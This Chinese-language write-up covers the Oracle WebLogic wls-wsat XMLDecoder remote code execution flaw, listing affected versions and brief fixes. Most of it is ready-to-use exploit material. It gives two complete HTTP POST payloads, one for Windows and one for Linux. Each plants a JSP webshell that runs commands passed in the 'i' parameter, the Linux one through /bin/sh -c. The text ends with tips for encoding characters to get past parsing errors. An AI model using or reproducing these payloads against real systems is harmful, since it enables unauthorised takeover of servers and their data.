Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
影响范围
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
漏洞详情
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。使用精心构造的xml数据可能造成任意代码执行,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器
的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。
修复方案
升级Oracle 10月份补丁
对访问wls-wsat的资源进行访问控制
EXP
Windows EXP
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Referer: http://www.baidu.com/
Content-Type: text/xml
Host: www.qq.com
Content-Length: 521
Expect: 100-continue
Connection: Keep-Alive
<soapenv:envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
soapenv:header
`<work:workcontext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>
servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp
</string>
<void method="println">
<string>
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
</string>
</void>
<void method="close" /> </object>
</java>
</java>
</work:workcontext>
`
</soapenv:header>
<soapenv:body />
</soapenv:envelope>
Linux EXP
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: www.test.cn
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8
Content-Length: 706
<soapenv:envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
soapenv:header
`<work:workcontext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>
/bin/sh
</string>
</void>
<void index="1">
<string>
-c
</string>
</void>
<void index="2">
<string>
find $DOMAIN_HOME -type d -name wls_test|while read f;do find $f -type f -name index.html;done|while read bb;do echo "<%Runtime.getRuntime().exec(request.getParameter("i"));%>">$(dirname $bb)/test.txt;done
</string>
</void>
</array>
<void method="start" />
`
` </java>
</work:workcontext>
`
</soapenv:header>
<soapenv:body />
</soapenv:envelope>
如果EXP出现这样的报错:
\<s:body\>
<s:fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope">
<faultcode>S:Client
</faultcode>
<faultstring>Couldn't cr
eate SOAP message due to exception: javax.xml.ws.WebServiceException: com.ctc.wstx.exc.WstxUnexpectedCharException: Unexpected character '%' (code 37) in content after '\<' (malformed start element?).
at \[row,col {unknown-source}\]: \[14,128\]
</faultstring>
</s:fault>
\</s:body\>
\</s:envelope\>
那么使用unicode编码即可,payload里的<> 都要进行编码,xml 不支持个别字符,进行字符替换 ,百度查下xml不支持那些字符都有说明.